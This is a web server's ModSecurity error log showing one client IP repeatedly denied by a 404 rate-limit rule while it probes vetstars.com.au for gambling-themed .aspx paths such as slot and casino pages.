[Sat Feb 14 21:06:16.631746 2026] [:error] [pid 53980:tid 54021] [client 51.83.237.175:56608] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZBzSNposYBT7xU8oxTHWgAAAss"]
[Sat Feb 14 21:06:16.800187 2026] [:error] [pid 50339:tid 50384] [client 51.83.237.175:56594] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZBzSMI6TclQ9GOl2Y16GwAAAg4"]
[Sat Feb 14 21:06:17.364795 2026] [:error] [pid 53979:tid 54005] [client 51.83.237.175:56592] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZBzSYfb_0QPnk6UIuNXBgAAAZY"]
[Sat Feb 14 21:06:17.679213 2026] [:error] [pid 39456:tid 39509] [client 51.83.237.175:56610] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZBzSYKeIqKLynHIGnjceAAAAlc"]
[Sat Feb 14 21:06:18.699692 2026] [:error] [pid 50339:tid 50371] [client 51.83.237.175:56600] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZBzSsI6TclQ9GOl2Y16HQAAAgE"]
[Sat Feb 14 21:06:19.029814 2026] [:error] [pid 39454:tid 39477] [client 51.83.237.175:56616] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZBzS4f01uYc0DFDtzvYXwAAAdI"]
[Sat Feb 14 21:06:19.900823 2026] [:error] [pid 26150:tid 26168] [client 51.83.237.175:56618] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZBzS6qmPH3D5QJaUSHSnwAAAI4"]
[Sat Feb 14 21:06:20.395605 2026] [:error] [pid 50339:tid 50387] [client 51.83.237.175:56626] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZBzTMI6TclQ9GOl2Y16HwAAAhE"]
[Sat Feb 14 21:06:30.927090 2026] [:error] [pid 53980:tid 54022] [client 51.83.237.175:56654] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZBzVtposYBT7xU8oxTHagAAAsw"]
[Sat Feb 14 21:06:32.650009 2026] [:error] [pid 53980:tid 54010] [client 51.83.237.175:56650] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZBzWNposYBT7xU8oxTHbAAAAsA"]
[Sat Feb 14 21:06:33.143222 2026] [:error] [pid 39454:tid 39472] [client 51.83.237.175:36560] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZBzWYf01uYc0DFDtzvYYwAAAc0"]
[Sat Feb 14 21:06:33.147220 2026] [:error] [pid 53979:tid 53997] [client 51.83.237.175:56674] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZBzWYfb_0QPnk6UIuNXGQAAAY4"]
[Sat Feb 14 21:06:33.380268 2026] [:error] [pid 53920:tid 53950] [client 51.83.237.175:56666] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZBzWSrmNDNQ_-GD91KCoAAAAUE"]
[Sat Feb 14 21:06:34.328596 2026] [:error] [pid 39454:tid 39465] [client 51.83.237.175:36566] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZBzWof01uYc0DFDtzvYZgAAAcY"]
[Sat Feb 14 21:06:35.635405 2026] [:error] [pid 36219:tid 36248] [client 51.83.237.175:36574] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZBzW5e-m2OpEy0FNjhc6QAAA4A"]
[Sat Feb 14 21:06:35.668946 2026] [:error] [pid 36219:tid 36256] [client 51.83.237.175:36570] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZBzW5e-m2OpEy0FNjhc6gAAA4g"]
[Sat Feb 14 21:06:36.419101 2026] [:error] [pid 26150:tid 26159] [client 51.83.237.175:36578] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZBzXKqmPH3D5QJaUSHSqQAAAIU"]
[Sat Feb 14 21:06:36.742214 2026] [:error] [pid 53979:tid 53990] [client 51.83.237.175:56628] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZBzXIfb_0QPnk6UIuNXHgAAAYc"]
[Sat Feb 14 21:06:37.040658 2026] [:error] [pid 53980:tid 54018] [client 51.83.237.175:36584] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZBzXdposYBT7xU8oxTHbgAAAsg"]
[Sat Feb 14 21:06:37.471940 2026] [:error] [pid 39454:tid 39474] [client 51.83.237.175:36594] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZBzXYf01uYc0DFDtzvYaQAAAc8"]
[Sat Feb 14 21:06:38.415851 2026] [:error] [pid 53980:tid 54026] [client 51.83.237.175:50608] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZBzXtposYBT7xU8oxTHcAAAAtA"]
[Sat Feb 14 21:06:39.006237 2026] [:error] [pid 50339:tid 50392] [client 51.83.237.175:50634] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZBzX8I6TclQ9GOl2Y16MAAAAhY"]
[Sat Feb 14 21:06:39.160519 2026] [:error] [pid 26150:tid 26168] [client 51.83.237.175:50624] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZBzX6qmPH3D5QJaUSHSrQAAAI4"]
[Sat Feb 14 21:06:40.064942 2026] [:error] [pid 36219:tid 36253] [client 51.83.237.175:50650] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZBzYJe-m2OpEy0FNjhc6wAAA4U"]
[Sat Feb 14 21:06:40.278749 2026] [:error] [pid 26150:tid 26171] [client 51.83.237.175:50638] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZBzYKqmPH3D5QJaUSHSrgAAAJE"]
[Sat Feb 14 21:06:40.600763 2026] [:error] [pid 53920:tid 53962] [client 51.83.237.175:50662] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZBzYCrmNDNQ_-GD91KCpwAAAU0"]
[Sat Feb 14 21:06:40.972815 2026] [:error] [pid 50339:tid 50385] [client 51.83.237.175:50670] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZBzYMI6TclQ9GOl2Y16MgAAAg8"]
[Sat Feb 14 21:06:41.489020 2026] [:error] [pid 36219:tid 36250] [client 51.83.237.175:50690] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZBzYZe-m2OpEy0FNjhc7AAAA4I"]
[Sat Feb 14 21:06:41.551234 2026] [:error] [pid 36056:tid 36082] [client 51.83.237.175:50674] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZBzYbv3wQbSPS1vpOggIgAAABg"]
[Sat Feb 14 21:06:42.811145 2026] [:error] [pid 53920:tid 53966] [client 51.83.237.175:50712] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZBzYirmNDNQ_-GD91KCqQAAAVE"]
[Sat Feb 14 21:06:42.914206 2026] [:error] [pid 36056:tid 36060] [client 51.83.237.175:50696] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZBzYrv3wQbSPS1vpOggJQAAAAI"]
[Sat Feb 14 21:06:43.411158 2026] [:error] [pid 50339:tid 50381] [client 51.83.237.175:50728] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZBzY8I6TclQ9GOl2Y16NAAAAgs"]
[Sat Feb 14 21:06:43.987664 2026] [:error] [pid 53981:tid 54049] [client 51.83.237.175:50738] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZBzY9Gxz-sjlGLnWnvScgAAA0w"]
[Sat Feb 14 21:06:45.539277 2026] [:error] [pid 39456:tid 39508] [client 51.83.237.175:50762] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZBzZYKeIqKLynHIGnjckgAAAlY"]
[Sat Feb 14 21:06:45.569138 2026] [:error] [pid 36056:tid 36067] [client 51.83.237.175:50752] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZBzZbv3wQbSPS1vpOggKQAAAAk"]
[Sat Feb 14 21:06:45.717692 2026] [:error] [pid 50339:tid 50388] [client 51.83.237.175:50746] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZBzZcI6TclQ9GOl2Y16NwAAAhI"]
[Sat Feb 14 21:06:45.804532 2026] [:error] [pid 39456:tid 39506] [client 51.83.237.175:50778] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZBzZYKeIqKLynHIGnjckwAAAlQ"]
[Sat Feb 14 21:06:46.480259 2026] [:error] [pid 39456:tid 39497] [client 51.83.237.175:50786] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZBzZoKeIqKLynHIGnjclQAAAks"]
[Sat Feb 14 21:06:46.684450 2026] [:error] [pid 50339:tid 50380] [client 51.83.237.175:50780] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZBzZsI6TclQ9GOl2Y16PQAAAgo"]
[Sat Feb 14 21:06:48.289913 2026] [:error] [pid 50339:tid 50383] [client 51.83.237.175:59492] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZBzaMI6TclQ9GOl2Y16RwAAAg0"]
[Sat Feb 14 21:06:49.180265 2026] [:error] [pid 36056:tid 36080] [client 51.83.237.175:59502] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZBzabv3wQbSPS1vpOggKgAAABY"]
[Sat Feb 14 21:06:49.531309 2026] [:error] [pid 50339:tid 50374] [client 51.83.237.175:59500] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZBzacI6TclQ9GOl2Y16TAAAAgQ"]
[Sat Feb 14 21:06:50.046104 2026] [:error] [pid 36056:tid 36076] [client 51.83.237.175:59524] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZBzarv3wQbSPS1vpOggKwAAABI"]
[Sat Feb 14 21:06:50.939417 2026] [:error] [pid 36056:tid 36063] [client 51.83.237.175:59526] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZBzarv3wQbSPS1vpOggLAAAAAU"]
[Sat Feb 14 21:06:51.137149 2026] [:error] [pid 53979:tid 53994] [client 51.83.237.175:59510] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZBza4fb_0QPnk6UIuNXIQAAAYs"]
[Sat Feb 14 21:06:51.600492 2026] [:error] [pid 26150:tid 26177] [client 51.83.237.175:59536] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZBza6qmPH3D5QJaUSHStAAAAJc"]
[Sat Feb 14 21:06:51.906761 2026] [:error] [pid 39456:tid 39492] [client 51.83.237.175:59546] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZBza4KeIqKLynHIGnjcvAAAAkY"]
[Sat Feb 14 21:06:53.095088 2026] [:error] [pid 26150:tid 26158] [client 51.83.237.175:59560] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZBzbaqmPH3D5QJaUSHStgAAAIQ"]
[Sat Feb 14 21:06:53.458817 2026] [:error] [pid 26150:tid 26174] [client 51.83.237.175:59576] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZBzbaqmPH3D5QJaUSHSuAAAAJQ"]
[Sat Feb 14 21:06:54.290810 2026] [:error] [pid 53979:tid 53992] [client 51.83.237.175:59606] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZBzbofb_0QPnk6UIuNXJAAAAYk"]
[Sat Feb 14 21:06:54.825019 2026] [:error] [pid 39454:tid 39467] [client 51.83.237.175:59590] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZBzbof01uYc0DFDtzvYcQAAAcg"]
[Sat Feb 14 21:06:55.672240 2026] [:error] [pid 39454:tid 39478] [client 51.83.237.175:59612] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZBzb4f01uYc0DFDtzvYdAAAAdM"]
[Sat Feb 14 21:06:56.280609 2026] [:error] [pid 53920:tid 53962] [client 51.83.237.175:59620] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZBzcCrmNDNQ_-GD91KCsAAAAU0"]
[Sat Feb 14 21:06:56.385256 2026] [:error] [pid 36056:tid 36075] [client 51.83.237.175:59614] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZBzcLv3wQbSPS1vpOggMAAAABE"]
[Sat Feb 14 21:06:56.416386 2026] [:error] [pid 53920:tid 53959] [client 51.83.237.175:59630] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZBzcCrmNDNQ_-GD91KCsQAAAUo"]
